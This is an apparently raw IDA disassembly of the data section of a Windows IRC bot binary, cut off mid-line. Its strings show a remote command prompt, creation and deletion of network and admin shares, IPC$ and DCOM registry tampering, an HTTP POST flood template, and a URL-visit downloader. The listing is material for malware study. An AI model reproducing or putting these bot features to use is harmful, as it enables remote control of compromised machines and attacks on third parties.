aListingProcess db ' listing processes:',0 aPrivmsgSS db 'PRIVMSG %s :%s',0Dh,0 ; DATA XREF: sub_419FD5+33o unk_43A468 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A18Eo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotReadDa db '- Could not read data from proccess.',0Dh,0Ah,0 unk_43A498 db 2Dh ; - ; DATA XREF: sub_41A05C+10Fo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aProccessHasTer db '- Proccess has terminated.',0Dh,0Ah,0 align 10h unk_43A4C0 db 2Dh ; - ; DATA XREF: sub_41A05C:loc_41A142o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldNotRead_0 db '- Could not read data from proccess',0Dh,0Ah,0 align 10h unk_43A4F0 db 2Dh ; - ; DATA XREF: sub_41A1B1+194o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aFailedToStartI db '- Failed to start IO thread, error: <%d>.',0 align 4 unk_43A524 db 2Dh ; - ; DATA XREF: sub_41A1B1+14Co db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteCommandP db '- Remote Command Prompt',0 align 4 off_43A548 dd offset dword_43A580 ; DATA XREF: sub_41A3C6+1B3o ; sub_41A6EA+17Ao align 10h dd offset dword_43A578 align 8 off_43A558 dd offset dword_43A574 ; DATA XREF: sub_41A6EA+1E3o dd offset off_43A570 dd offset dword_43A56C dd offset off_43A568 off_43A568 dd offset dword_5C3A44 ; DATA XREF: sub_41A3C6+217o ; ___:0043A564o dword_43A56C dd 2444h ; DATA XREF: ___:0043A560o off_43A570 dd offset byte_5C3A43 ; DATA XREF: ___:0043A55Co dword_43A574 dd 2443h ; DATA XREF: ___:off_43A558o dword_43A578 dd 494D4441h, 244Eh ; DATA XREF: ___:0043A550o dword_43A580 dd 24435049h, 0 ; DATA XREF: ___:off_43A548o dword_43A588 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2E5o ; sub_41A6EA+2DBo aNetapi32_dllCo db '- Netapi32.dll couldn',27h,'t be loaded.',0 align 4 dword_43A5B8 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+2CFo aNetworkSharesD db '- Network shares deleted.',0 align 10h dword_43A5E0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A628o aFailedToDelete db '- Failed to delete ',27h,'%S',27h,' share.',0 align 4 dword_43A60C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+25Bo aShareSDeleted_ db '- Share ',27h,'%S',27h,' deleted.',0 align 10h dword_43A630 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A595o aFailedToDele_0 db '- Failed to delete ',27h,'%s',27h,' share.',0 align 4 dword_43A65C dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+1C8o aShareSDelete_0 db '- Share ',27h,'%s',27h,' deleted.',0 align 10h dword_43A680 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F8o ; sub_41A6EA:loc_41A818o aAdvapi32_dllCo db '- Advapi32.dll couldn',27h,'t be loaded.',0 align 10h dword_43A6B0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4F1o aFailedToOpenIp db '- Failed to open IPC$ Restriction registry key.',0 dword_43A6EC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6:loc_41A4D3o aRestrictedAcce db '- Restricted access to the IPC$ Share.',0 align 10h dword_43A720 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+106o aFailedToRestri db '- Failed to restrict access to the IPC$ Share.',0 align 4 aRestrictanonym db 'restrictanonymous',0 ; DATA XREF: sub_41A3C6+EDo ; sub_41A6EA+EDo align 10h dword_43A770 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+91o ; sub_41A6EA+91o aFailedToOpenDc db '- Failed to open DCOM registry key.',0 dword_43A7A0 dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 64204D4Fh ; DATA XREF: sub_41A3C6:loc_41A433o dd 62617369h, 2E64656Ch, 0 dword_43A7C0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A3C6+66o aDisableDcomFai db '- Disable DCOM failed.',0 align 4 aEnabledcom db 'EnableDCOM',0 ; DATA XREF: sub_41A3C6+54o ; sub_41A6EA+54o align 10h dword_43A7F0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+2C3o aNetworkSharesA db '- Network shares added.',0 aC_1 db '%c:\',0 ; DATA XREF: sub_41A6EA+230o align 4 aC_2 db '%c$',0 ; DATA XREF: sub_41A6EA+219o dword_43A820 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A889o ; sub_41A6EA:loc_41A95Ao aFailedToAddSSh db '- Failed to add ',27h,'%s',27h,' share.',0 dword_43A848 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+198o ; sub_41A6EA+269o aShareSAdded_ db '- Share ',27h,'%s',27h,' added.',0 dword_43A868 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A811o aFailedToOpen_0 db '- Failed to open IPC$ restriction registry key.',0 dword_43A8A4 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA:loc_41A7F3o aUnrestrictedAc db '- Unrestricted access to the IPC$ Share.',0 align 4 dword_43A8DC dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+102o aFailedToUnrest db '- Failed to unrestrict access to the IPC$ Share.',0 align 4 dword_43A91C dd 234032Dh, 75636573h, 3026572h, 4344202Dh, 65204D4Fh ; DATA XREF: sub_41A6EA:loc_41A757o dd 6C62616Eh, 2E6465h dword_43A938 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_41A6EA+66o aEnableDcomFail db '- Enable DCOM failed.',0 align 4 aPostHttp1_0Hos db 'POST / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41AA1E+E1o db 'Host: %s',0Dh,0Ah db 'Content-Length: %d',0Dh,0Ah db 0Dh,0Ah,0 align 10h dword_43A990 dd 234032Dh, 65657073h, 73657464h, 2D030274h, 75450220h ; DATA XREF: sub_41ABFB+1A7o dd 65706F72h, 25203A02h, 626B2064h, 732F7469h, 53550220h dd 203A0241h, 6B206425h, 2F746962h, 41022073h, 2616973h dd 6425203Ah, 69626B20h, 20732F74h, 65764102h, 65676172h dd 25203A02h, 626B2064h, 732F7469h, 0 aWww_google_co_ db 'www.google.co.jp',0 ; DATA XREF: sub_41ABFB+C4o align 4 aYahoo_co_jp db 'yahoo.co.jp',0 ; DATA XREF: sub_41ABFB+BDo aWww_nifty_com db 'www.nifty.com',0 ; DATA XREF: sub_41ABFB+B6o align 10h aWww_d1asia_com db 'www.d1asia.com',0 ; DATA XREF: sub_41ABFB+AFo align 10h aWww_st_lib_kei db 'www.st.lib.keio.ac.jp',0 ; DATA XREF: sub_41ABFB+A8o align 4 aWww_lib_nthu_e db 'www.lib.nthu.edu.tw',0 ; DATA XREF: sub_41ABFB+A1o aWww_google_com db 'www.google.com',0 ; DATA XREF: sub_41ABFB+9Ao align 4 aWww_easynews_c db 'www.easynews.com',0 ; DATA XREF: sub_41ABFB+93o align 10h aWww_above_net db 'www.above.net',0 ; DATA XREF: sub_41ABFB+8Co align 10h aWww_level3_com db 'www.level3.com',0 ; DATA XREF: sub_41ABFB+85o align 10h aNitro_ucsc_edu db 'nitro.ucsc.edu',0 ; DATA XREF: sub_41ABFB+7Eo align 10h aWww_burst_net db 'www.burst.net',0 ; DATA XREF: sub_41ABFB+77o align 10h aWww_cogentco_c db 'www.cogentco.com',0 ; DATA XREF: sub_41ABFB+70o align 4 aWww_rit_edu db 'www.rit.edu',0 ; DATA XREF: sub_41ABFB+69o aWww_nocster_co db 'www.nocster.com',0 ; DATA XREF: sub_41ABFB+62o aWww_verio_com db 'www.verio.com',0 ; DATA XREF: sub_41ABFB+5Bo align 10h aWww_stanford_e db 'www.stanford.edu',0 ; DATA XREF: sub_41ABFB+54o align 4 aWww_xo_net db 'www.xo.net',0 ; DATA XREF: sub_41ABFB+4Do align 10h aWww_google_it db 'www.google.it',0 ; DATA XREF: sub_41ABFB+46o align 10h aDe_yahoo_com db 'de.yahoo.com',0 ; DATA XREF: sub_41ABFB+3Fo align 10h aWww_belwue_de db 'www.belwue.de',0 ; DATA XREF: sub_41ABFB+38o align 10h aWww_switch_ch db 'www.switch.ch',0 ; DATA XREF: sub_41ABFB+31o align 10h aWww_1und1_de db 'www.1und1.de',0 ; DATA XREF: sub_41ABFB+2Ao align 10h aVerio_fr db 'verio.fr',0 ; DATA XREF: sub_41ABFB+23o align 4 aWww_utwente_nl db 'www.utwente.nl',0 ; DATA XREF: sub_41ABFB+1Co align 4 aWww_schlund_ne db 'www.schlund.net',0 ; DATA XREF: sub_41ABFB+15o dword_43AB9C dd 234032Dh, 69737973h, 26F666Eh, 2202D03h, 2555043h, 4925203Ah ; DATA XREF: sub_41AF8F+297o dd 4D753436h, 202E7A48h, 4D415202h, 25203A02h, 20424B73h dd 61746F74h, 25202C6Ch, 20424B73h, 65657266h, 4402202Eh dd 26B7369h, 7325203Ah, 746F7420h, 202C6C61h, 66207325h dd 2E656572h, 534F0220h, 57203A02h, 6F646E69h, 25207377h dd 25282073h, 64252E64h, 7542202Ch, 20646C69h, 2E296425h dd 79530220h, 72696473h, 25203A02h, 2202E73h, 74736F48h dd 656D616Eh, 25203A02h, 25282073h, 202E2973h, 72754302h dd 746E6572h, 65735520h, 203A0272h, 202E7325h, 74614402h dd 203A0265h, 202E7325h, 6D695402h, 203A0265h, 202E7325h dd 74705502h, 2656D69h, 7325203Ah, 2Eh dword_43AC78 dd 4D3A6464h, 793A4D4Dh, 797979h ; DATA XREF: sub_41AF8F+192o aCouldnTResolve db 'couldn',27h,'t resolve host',0 ; DATA XREF: sub_41AF8F:loc_41B0F3o align 4 dword_43AC9C dd 234032Dh, 6974656Eh, 26F666Eh, 2202D03h, 65707954h ; DATA XREF: sub_41B243+A4o dd 25203A02h, 25282073h, 202E2973h, 20504902h, 72646441h dd 2737365h, 7325203Ah, 4802202Eh, 6E74736Fh, 2656D61h dd 7325203Ah, 2Eh off_43ACE0 dd offset loc_412F4E ; DATA XREF: sub_41B243:loc_41B2AFo off_43ACE4 dd offset dword_4E414C ; DATA XREF: sub_41B243:loc_41B2A5o dword_43ACE8 dd 6C616944h, 70752Dh ; DATA XREF: sub_41B243+5Bo dword_43ACF0 dd 20746F4Eh, 6E6E6F63h, 65746365h, 64h ; DATA XREF: sub_41B243+48o unk_43AD00 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4BBo db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToConnec db ' Failed to connect to HTTP server.',0 align 10h unk_43AD30 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B4B4o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aCouldNotOpenAC db ' Could not open a connection.',0 align 4 dword_43AD5C dd 234032Dh, 69736976h, 2D030274h, 766E4920h, 64696C61h ; DATA XREF: sub_41B302+1A0o dd 4C525520h, 2Eh unk_43AD78 db 2Dh ; - ; DATA XREF: sub_41B302:loc_41B495o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToGetReq db ' Failed to get requested URL from HTTP server.',0 align 4 dword_43ADB4 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 73697620h ; DATA XREF: sub_41B302+18Co dd 64657469h, 2Eh dword_43ADD0 dd 2A2F2Ah ; DATA XREF: sub_41B302+3Bo word_43ADD4 dw 4 ; DATA XREF: sub_41B55B+10r align 4 dword_43ADD8 dd 6325h ; DATA XREF: ___:0041B89Co dword_43ADDC dd 0DFFh ; DATA XREF: ___:0041B6EAo dword_43ADE0 dd 51FFh ; DATA XREF: ___:0041B6DFo dword_43ADE4 dd 0EBFFh ; DATA XREF: ___:0041B6D4o dword_43ADE8 dd 201h ; DATA XREF: ___:0041B6BFo dword_43ADEC dd 20424652h, 2E333030h, 0A383030h, 2 dup(0) ; DATA XREF: ___:0041B6ADo dword_43AE00 dd 54932206h ; DATA XREF: sub_41C2B8+4w sub_41C2C2r ... align 10h dword_43AE10 dd 173Fh ; DATA XREF: sub_41D055+Dr dd 9875h, 9873h off_43AE1C dd offset sub_41D124 ; DATA XREF: ___:0041C164r dd offset nullsub_2 dd offset nullsub_2 dword_43AE28 dd 1B3Fh ; DATA XREF: sub_41D19B+Dr dword_43AE2C dd 19930520h, 4 dup(0) ; DATA XREF: sub_41D61D+2o ; sub_41D626+2o off_43AE40 dd offset sub_41C1A2 ; DATA XREF: sub_41E2C9+1Cr dword_43AE44 dd 2 ; DATA XREF: sub_423D98+Er ; sub_423DD1+46r ... dd 10h, 0 off_43AE50 dd offset off_43AE50 ; DATA XREF: sub_41F216+Do ; sub_41F216+69o ... off_43AE54 dd offset off_43AE50 ; DATA XREF: sub_41F216:loc_41F296r ; sub_41F216+89w ... dd offset dword_43AE68 dd offset dword_43AE68 dword_43AE60 dd 0FFFFFFFFh ; DATA XREF: sub_41F216r ; sub_41F35A:loc_41F3A7w dd 0FFFFFFFFh dword_43AE68 dd 0F0h, 0F1h, 800h dup(0) ; DATA XREF: ___:0043AE58o ; ___:0043AE5Co off_43CE70 dd offset off_43AE50 ; DATA XREF: sub_41F35A+15r ; sub_41F35A+20w ... dword_43CE74 dd 1E0h ; DATA XREF: sub_41BBE2+185r ; sub_41BEF3:loc_41BF2Fr ... off_43CE78 dd offset word_43CE82 ; DATA XREF: sub_41C0CE+23r ; sub_41C0CE:loc_41C12Fr ... off_43CE7C dd offset word_43CE82 ; DATA XREF: sub_42686F+18r db 2 dup(0) word_43CE82 dw 20h ; DATA XREF: sub_424FF8+18r ; ___:off_43CE78o ... unicode 0, < ((((( H> dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h) dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h) dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0) dword_43D084 dd 1 ; DATA XREF: sub_41C0CE:loc_41C0D6r ; sub_41C0CE:loc_41C11Ar ... byte_43D088 db 2Eh ; DATA XREF: sub_420DB0:loc_4210A4r ; sub_420DB0+311r ... align 4 dd 1 off_43D090 dd offset aNull_0 ; DATA XREF: sub_41FF3F:loc_4202A3r ; sub_41FF3F+457r ; "(null)" off_43D094 dd offset aNull ; DATA XREF: sub_41FF3F+259r ; "(null)" byte_43D098 db 1 ; DATA XREF: sub_420749+E1r db 2, 4, 8 align 10h dword_43D0A0 dd 3A4h ; DATA XREF: sub_420749+2Fo dword_43D0A4 dd 82798260h, 21h, 0 ; DATA XREF: sub_420749+11Dr dword_43D0B0 dd 0DFA6h ; DATA XREF: sub_420749+C0r align 8 dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0 dword_43D190 dd 1 ; DATA XREF: sub_420749+3Co ; sub_420C7F+Co dword_43D194 dd 16h ; DATA XREF: sub_420C7F:loc_420CB4r dd 2 dup(2), 3, 2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch dd 9, 0Ch, 0Ah, 7, 0Bh, 8, 0Ch, 16h, 0Dh, 16h, 0Fh, 2 dd 10h, 0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h, 2, 41h dd 0Dh, 43h, 2, 50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h dd 59h, 0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h, 9, 6, 16h dd 80h, 0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h dd 29h, 9Eh, 0Dh, 0A1h, 2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h dd 11h, 0CEh, 2, 0D7h, 0Bh, 718h, 0Ch dword_43D2F8 dd 0D2D0920h, 5Dh ; DATA XREF: sub_420C7F+19o ; sub_420DB0:loc_421317o dword_43D300 dd 5Dh, 0 ; DATA XREF: sub_420DB0:loc_421207o dword_43D308 dd 14h ; DATA XREF: sub_421EC4+2o off_43D30C dd offset aExp ; DATA XREF: sub_421EC4:loc_421EE1r ; "exp" dd 1Dh, 427858h, 1Ah, 42C60Ch, 1Bh, 427850h, 1Fh, 427848h dd 13h, 427840h, 21h, 427838h, 0Eh, 427830h, 0Dh, 427828h dd 0Fh, 427820h, 10h, 427818h, 5, 427810h, 1Eh, 42780Ch dd 12h, 427808h, 20h, 427804h, 0Ch, 4277FCh, 0Bh, 4277F4h dd 15h, 4277ECh, 1Ch, 4277E4h, 19h, 4277DCh, 11h, 4277D4h dd 18h, 4277CCh, 16h, 4277C4h, 17h, 4277BCh, 22h, 4277B8h dd 23h, 4277B4h, 24h, 4277B0h dbl_43D3E0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+B7r ; sub_421BFF:loc_421CE6r ... dd 0 dd 0FFF80000h dbl_43D3F0 dq 1.797693134862316e308 ; DATA XREF: sub_421BFF+92r ; sub_421BFF:loc_421CBEr ... dd 0 dd 100000h, 0 dd 80000000h tbyte_43D408 dt 2.3562723457267347066e313 ; DATA XREF: sub_4220AC+Dr ; sub_4220AC+1Fr align 4 tbyte_43D414 dt 1.9149954921904370718e-1233 ; DATA XREF: sub_4220AC+31r align 10h off_43D420 dd offset sub_422540 ; DATA XREF: sub_41D13C+Fw ; sub_41FF3F+3AAr off_43D424 dd offset sub_4221D5 ; DATA XREF: sub_41D13C+5w ; sub_41FF3F+3E2r off_43D428 dd offset sub_42223B ; DATA XREF: sub_41D13C+14w ; sub_420DB0+430r off_43D42C dd offset sub_42217B ; DATA XREF: sub_41D13C+1Ew ; sub_41FF3F+3CBr off_43D430 dd offset sub_422223 ; DATA XREF: sub_41D13C+28w off_43D434 dd offset sub_422540 ; DATA XREF: sub_41D13C+32w dd offset sub_424F1C align 10h dd offset sub_422DFC off_43D444 dd offset sub_422DFC ; DATA XREF: sub_422E52+29r dword_43D448 dd 0C0000005h ; DATA XREF: sub_423638+Ar ; sub_423638+11o ... dword_43D44C dd 0Bh ; DATA XREF: sub_425D33+Ar dd 0 dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 db 8Dh, 0 dw 0C000h dd 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 db 90h db 2 dup(0), 0C0h dd 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_43D4C0 dd 3 ; DATA XREF: ___:0042354Fr ; sub_425C06+C8r dword_43D4C4 dd 7 ; DATA XREF: ___:00423555r ; sub_425C06+CDr dword_43D4C8 dd 0Ah ; DATA XREF: sub_423638+4r ; sub_425D33+4r dword_43D4CC dd 8Ch ; DATA XREF: ___:00423579r ; ___:00423586w ... dword_43D4D0 dd 0FFFFFFFFh, 0A00h ; DATA XREF: sub_41F8E3:loc_41F964o ; sub_41FE2A:loc_41FEE7o dword_43D4D8 dd 2 ; DATA XREF: sub_423DD1+Eo ; sub_423DD1+28r off_43D4DC dd offset aR6002FloatingP ; DATA XREF: sub_423DD1+FCr ; sub_423DD1+12Dr ; "R6002\r\n- floating point not loaded\r\n" dd 8, 427B74h, 9, 427B48h, 0Ah, 427B24h, 10h, 427AF8h dd 11h, 427AC8h, 12h, 427AA4h, 13h, 427A78h, 18h, 427A40h dd 19h, 427A18h, 1Ah, 4279E0h, 1Bh, 4279A8h, 1Ch, 427980h dd 78h, 427970h, 79h, 427960h, 7Ah, 427950h, 0FCh, 4349ECh dd 0FFh, 427940h off_43D568 dd offset dword_4DC020 ; DATA XREF: sub_423DD1+1Bo ; sub_42413E+55o align 10h dd offset dword_4DC020 dd 101h dword_43D578 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_42413E+72o dd 1000h, 0 dword_43D588 dd 3 dup(0) ; DATA XREF: sub_41FE2A+50o ; sub_420CE6+12o dd 2, 0FFFFFFFFh, 3 dup(0) dword_43D5A8 dd 3 dup(0) ; DATA XREF: sub_41FE2A+58o ; sub_420CE6:loc_420D04o dd 2, 0FFFFFFFFh, 7 dup(0) dword_43D5D8 dd 84h dup(0) ; DATA XREF: sub_42413E+9Bo dword_43D7E8 dd 2 dup(0) ; DATA XREF: sub_42413E+69o dword_43D7F0 dd 2694h ; DATA XREF: sub_421861+3r ; sub_4218B4+46r align 8 dword_43D7F8 dd 400h, 0FFFFFC01h, 35h, 0Bh, 40h, 3FFh ; DATA XREF: sub_424CFCo dword_43D810 dd 80h, 0FFFFFF81h, 18h, 8, 20h, 7Fh ; DATA XREF: sub_424D12o dword_43D828 dd 2 dup(0) ; DATA XREF: sub_42600E+7o dd 4002A000h, 2 dup(0) dd 4005C800h, 2 dup(0) dd 4008FA00h, 2 dup(0) dd 400C9C40h, 2 dup(0) ; --------------------------------------------------------------------------- push eax retn ; --------------------------------------------------------------------------- dw 400Fh dd 2 dup(0) dd 4012F424h, 0 dd 80000000h, 40169896h, 0 dd 20000000h, 4019BEBCh, 0 dd 0C9BF0400h, 40348E1Bh, 0A1000000h, 1BCECCEDh, 404ED3C2h dd 0B59EF020h, 0ADA82B70h, 40699DC5h, 25FD5DD0h, 4F8E1AE5h dd 4083EB19h, 95D79671h, 8D050E43h, 409EAF29h, 44A0BFF9h dd 8F1281EDh, 40B98281h, 0A6D53CBFh, 1F49FFCFh, 40D3C278h dd 8CE0C66Fh, 47C980E9h, 41A893BAh, 556B85BCh, 0F78D3927h dd 427CE070h, 0DE8EDDBCh, 0EBFB9DF9h, 4351AA7Eh, 0E376E6A1h dd 2F29F2CCh, 44268184h, 0AA171028h, 0E310AEF8h, 44FAC4C5h dd 0F3D4A7EBh, 4AE1EBF7h, 45CF957Ah, 91C7CC65h, 0A0AEA60Eh dd 46A3E319h, 0C17650Dh, 75868175h, 4D48C976h, 0A7E44258h dd 353B3993h, 53EDB2B8h, 5DE5A74Dh, 3B5DC53Dh, 5A929E8Bh dd 0F0A65DFFh, 54C020A1h, 61378CA5h, 5A8BFDD1h, 5D25D88Bh dd 67DBF989h, 0F3F895AAh, 0C8A2BF27h, 6E80DD5Dh, 979BC94Ch dd 52028A20h, 7525C460h, 0 dword_43D988 dd 0CCCDCCCDh, 0CCCCCCCCh, 3FFBCCCCh, 0D70A3D71h, 0A3D70A3h ; DATA XREF: sub_42600E+1Bo dd 3FF8A3D7h, 0DF3B645Ah, 6E978D4Fh, 3FF58312h, 652CD3C3h dd 1758E219h, 3FF1D1B7h, 84230FD0h, 0AC471B47h, 3FEEA7C5h dd 69B6A640h, 0BD05AF6Ch, 3FEB8637h, 42BC3D33h, 94D5E57Ah dd 3FE7D6BFh, 0CEFDFDC2h, 77118461h, 3FE4ABCCh, 0E15B4C2Fh dd 94BEC44Dh, 3FC9E695h, 3B53C492h, 14CD4475h, 3FAF9ABEh dd 94BA67DEh, 1EAD4539h, 3F94CFB1h, 0E2C62324h, 313BBABCh dd 3F7A8B61h, 0C1595561h, 7C53B17Eh, 3F5FBB12h, 8D2FEED7h dd 8592BE06h, 3F44FB15h, 0E9A53F24h, 0EA27A539h, 3F2AA87Fh dd 0E4A1AC7Dh, 467C64BCh, 3E55DDD0h, 0CC067B63h, 83775423h dd 3D8191FFh, 193AFA91h, 4325637Ah, 3CACC031h, 38D18921h dd 0B8974782h, 3BD7FD00h, 85888DCh, 0E3E8B11Bh, 3B03A686h dd 424584C6h, 7599B607h, 3A2EDB37h, 0D21C7133h, 0EE32DB23h dd 395A9049h, 0C0BE87A6h, 82A5DA57h, 32B5A2A6h, 11B268E2h dd 449F52A7h, 2C10B759h, 2DE44925h, 534F3436h, 256BCEAEh dd 0A404598Fh, 7DC2DEC0h, 1EC6E8FBh, 5A88E79Eh, 0BF3C9157h dd 18228350h, 62654B4Eh, 0AF8F83FDh, 117D9406h, 9FDE2DE4h dd 4C8D2CEh, 0AD8A6DDh off_43DAE4 dd offset off_427CEC ; DATA XREF: ___:00427EC4o ; ___:00427FB0o dd 0 a_?avexception@ db '.?AVexception@@',0 off_43DAFC dd offset off_427CEC ; DATA XREF: ___:off_427D78o ; ___:00427DB8o ... dd 0 a_?avlogic_erro db '.?AVlogic_error@std@@',0 align 4 off_43DB1C dd offset off_427CEC ; DATA XREF: ___:off_427DC0o ; ___:00427E04o ... dd 0 a_?avout_of_ran db '.?AVout_of_range@std@@',0 align 4 off_43DB3C dd offset off_427CEC ; DATA XREF: ___:off_427E0Co ; ___:00427E50o ... dd 0 a_?avlength_err db '.?AVlength_error@std@@',0 align 10h off_43DB60 dd offset off_427CEC ; DATA XREF: ___:off_427E58o ; ___:00427E94o align 8 a_?avtype_info@ db '.?AVtype_info@@',0 dd offset sub_424F1C align 10h dword_43DB80 dd 2 dup(0) ; DATA XREF: sub_40111D+C8o byte_43DB88 db 0 ; DATA XREF: sub_40111D+62o ; ___:0040146Eo ... align 10h dword_43DB90 dd 0 ; DATA XREF: ___:004015B0o ; sub_401ACD+AECo ... dd 5 dup(0) dword_43DBA8 dd 0 ; DATA XREF: sub_401ACD+B48r ; sub_415C40+60r dd 2D9h dup(0) dword_43E710 dd 0 ; DATA XREF: sub_401ACD+5D8Cr ; sub_401ACD+5E61r ... dd 7Fh dup(0) dword_43E910 dd 0 ; DATA XREF: sub_40B3BA+41w ; sub_40B4F5+40w ... dword_43E914 dd 0 ; DATA XREF: sub_40B3BA+47w ; sub_40B4F5+46w ... dword_43E918 dd 0 ; DATA XREF: sub_40B3BA+52w ; sub_40B4F5+3Ar ... dword_43E91C dd 0 ; DATA XREF: sub_40111D+Cr ; sub_4017ED+B9w ... dword_43E920 dd 0 ; DATA XREF: sub_40B4F5+75r ; sub_40B6D6+2Aw ... dword_43E924 dd 0 ; DATA XREF: ___:004015FFw ; ___:00401677w ... byte_43E928 db 0 ; DATA XREF: sub_4017ED+91o ; sub_401ACD+5CD7r ... align 4 dd 1B89h dup(0) dword_445750 dd 2A3Fh dup(0) ; DATA XREF: ___:0043492Co db 0 byte_45004D db 3 dup(0) ; DATA XREF: ___:004385C0o dd 1CFCh dup(0) db 0 byte_457441 db 3 dup(0) ; DATA XREF: ___:off_43902Co dd 0A2EFh dup(0) db 0 byte_480001 db 3 dup(0) ; DATA XREF: Themida_:loc_56F77Fo dd 4016h dup(0) dword_49005C dd 937Eh dup(0) ; DATA XREF: ___:off_432948o db 0 byte_4B4E55 db 3 dup(0) ; DATA XREF: ___:off_43165Co dd 0FBh dup(0) db 0 byte_4B5245 db 3 dup(0) ; DATA XREF: ___:off_438E98o dd 5932h dup(0) dword_4CB710 dd 0 ; DATA XREF: sub_40111D+FDw ; sub_40B3BA+13o ... dword_4CB714 dd 0 ; DATA XREF: ___:0040125Ew ; sub_401ACD:loc_404494r ... dword_4CB718 dd 0 ; DATA XREF: ___:loc_4016FFo dword_4CB71C dd 20h dup(0) ; DATA XREF: ___:004016B6o ; ___:00401750o ... dword_4CB79C dd 10h dup(0) ; DATA XREF: ___:004016CCo dword_4CB7DC dd 24h dup(0) ; DATA XREF: ___:004016E3o dword_4CB86C dd 0 ; DATA XREF: ___:004016D7w ; ___:00401767w ... dword_4CB870 dd 0 ; DATA XREF: ___:004016F6w align 10h byte_4CB880 db 0 ; DATA XREF: sub_401955+28r ; sub_401955+30o align 4 dword_4CB884 dd 0 ; DATA XREF: ___:00401704w ; ___:0040171Br ... dword_4CB888 dd 0 ; DATA XREF: ___:004016BBw ; sub_401ACD+8A2r word_4CB88C dw 0 ; DATA XREF: sub_401ACD+7BAFo ; ___:0040AFA9o ... align 10h dword_4CB890 dd 0 ; DATA XREF: sub_409909+4A7w ; sub_409909+4EBr dword_4CB894 dd 0 ; DATA XREF: sub_409909+65w ; sub_419C09+166r dword_4CB898 dd 0 ; DATA XREF: sub_409909+80Bw ; sub_409909+880r ... dword_4CB89C dd 0 ; DATA XREF: sub_409909+9D8w ; sub_409909+A43r ... dword_4CB8A0 dd 0 ; DATA XREF: sub_409909+98Aw ; sub_409909+A13r ... dword_4CB8A4 dd 0 ; DATA XREF: sub_409909+48Dw ; sub_409909+4DBr dword_4CB8A8 dd 0 ; DATA XREF: sub_409909+213w ; sub_409909+234r dword_4CB8AC dd 0 ; DATA XREF: sub_409909+9CBw ; sub_409909+A3Br ... dword_4CB8B0 dd 0 ; DATA XREF: sub_409909+372w ; sub_409909+3C7r ... dword_4CB8B4 dd 0 ; DATA XREF: sub_409909+40Fw ; sub_41AF8F+11Er dword_4CB8B8 dd 0 ; DATA XREF: sub_409909+37Fw ; sub_409909+3CFr ... dword_4CB8BC dd 0 ; DATA XREF: sub_409909+3C0w ; sub_4191DB+ADr dword_4CB8C0 dd 0 ; DATA XREF: sub_409909+55Aw ; sub_40FAD6+115r ... dword_4CB8C4 dd 0 ; DATA XREF: sub_409909+72w ; sub_409909+D2r ... dword_4CB8C8 dd 0 ; DATA XREF: 